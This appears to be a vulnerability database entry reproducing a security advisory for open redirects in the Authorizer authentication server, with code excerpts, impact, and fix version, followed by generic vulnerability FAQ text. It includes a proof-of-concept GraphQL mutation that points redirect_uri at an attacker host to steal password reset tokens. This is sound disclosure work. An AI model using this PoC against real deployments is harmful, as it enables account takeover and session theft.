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Vulnerability Database

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A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

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Authorizer: Password reset token theft and full auth token redirect via unvalidated redirect_uri — github.com/authorizerdev/authorizer

URL Redirection to Untrusted Site ('Open Redirect')

Hi,

I found that 6 endpoints in Authorizer accept a user-controlled redirect_uri and append sensitive tokens to it without validating the URL against AllowedOrigins. The OAuth /app handler validates redirect_uri at http_handlers/app.go:46, but the GraphQL mutations and verify_email handler skip validation entirely. An attacker can steal password reset tokens, magic link tokens, and full auth sessions (access_token + id_token + refresh_token) by pointing redirect_uri to their server. Verified against HEAD (commit 73679fa).

Affected Endpoints

ForgotPassword (internal/graphql/forgot_password.go:76-77) - password reset tokens
MagicLinkLogin (internal/graphql/magic_link_login.go:150-151) - magic link auth tokens
Signup (internal/graphql/signup.go:211-212) - email verification tokens
InviteMembers (internal/graphql/invite_members.go:90-91) - invitation tokens
OAuthLoginHandler (internal/http_handlers/oauth_login.go:18-20) - OAuth redirect stored in state
VerifyEmailHandler (internal/http_handlers/verify_email.go:27,178) - full auth tokens (access + id + refresh)

Root Cause

Because these 6 endpoints completely lack the validators.IsValidOrigin() check, this vulnerability bypasses secure configurations. Even if a production administrator strictly configures AllowedOrigins to ["https://my-secure-app.com"], an attacker can still steal tokens by passing https://attacker.com to these specific GraphQL mutations. The validation only exists in the /app OAuth handler, not in any of the GraphQL mutations.

In forgot_password.go:76-77, the user-supplied redirect_uri is accepted without validation:

if strings.TrimSpace(refs.StringValue(params.RedirectURI)) != &quot;&quot; {
    redirectURI = refs.StringValue(params.RedirectURI)
}

The reset token is appended to this URL at internal/utils/common.go:77:

func GetForgotPasswordURL(token, redirectURI string) string {
    verificationURL := redirectURI + &quot;?token=&quot; + token
    return verificationURL
}

Compare with the OAuth flow at internal/http_handlers/app.go:46 which validates correctly:

if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) {
    c.JSON(400, gin.H{&quot;error&quot;: &quot;invalid redirect url&quot;})
    return
}

This validation is missing from all 6 endpoints listed above.

Most Severe Path: Full Token Theft via verify_email

After a user clicks the verification link, verify_email.go:178 generates full auth tokens and redirects to the (unvalidated) URL:

params := &quot;access_token=&quot; + authToken.AccessToken.Token +
    &quot;&amp;token_type=bearer&amp;expires_in=&quot; + ... +
    &quot;&amp;id_token=&quot; + authToken.IDToken.Token + &quot;&amp;nonce=&quot; + nonce

The redirect_uri is stored in the JWT claim from the original request (attacker-controlled). The attacker receives the victim's access_token, id_token, and refresh_token directly.

Because tokens are appended as URL query parameters, they are also automatically leaked to the attacker's server access logs, the victim's browser history, and any third-party analytics scripts on the attacker's page via the Referer header.

PoC

mutation {
  forgot_password(params: {
    email: &quot;[email protected]&quot;
    redirect_uri: &quot;https://attacker.com/steal&quot;
  }) {
    message
  }
}

The victim receives a legitimate password reset email with the link https://attacker.com/steal?token=<reset_token>. Clicking the link sends the reset token to the attacker.

Impact

Account takeover via stolen password reset tokens
Full session theft via stolen access_token + id_token + refresh_token
Passwordless account compromise via stolen magic link tokens
No authentication required to trigger (the GraphQL mutations are public)
Victim only needs to click the email link from their trusted Authorizer instance

Additional Note

The default AllowedOrigins at cmd/root.go:39 is ["*"], so even the OAuth endpoint's validation is a no-op by default. Recommend changing the default to require explicit configuration.

Koda Reef

Published: Apr 6, 2026
Updated: Apr 7, 2026
GHSA: GHSA-x3f4-v83f-7wp2
Severity: High
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-601

Affected Software
References

Software	From	Fixed in
github.com/authorizerdev/authorizer	-	0.0.0-20260329085140-6d9bef1aaba3

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.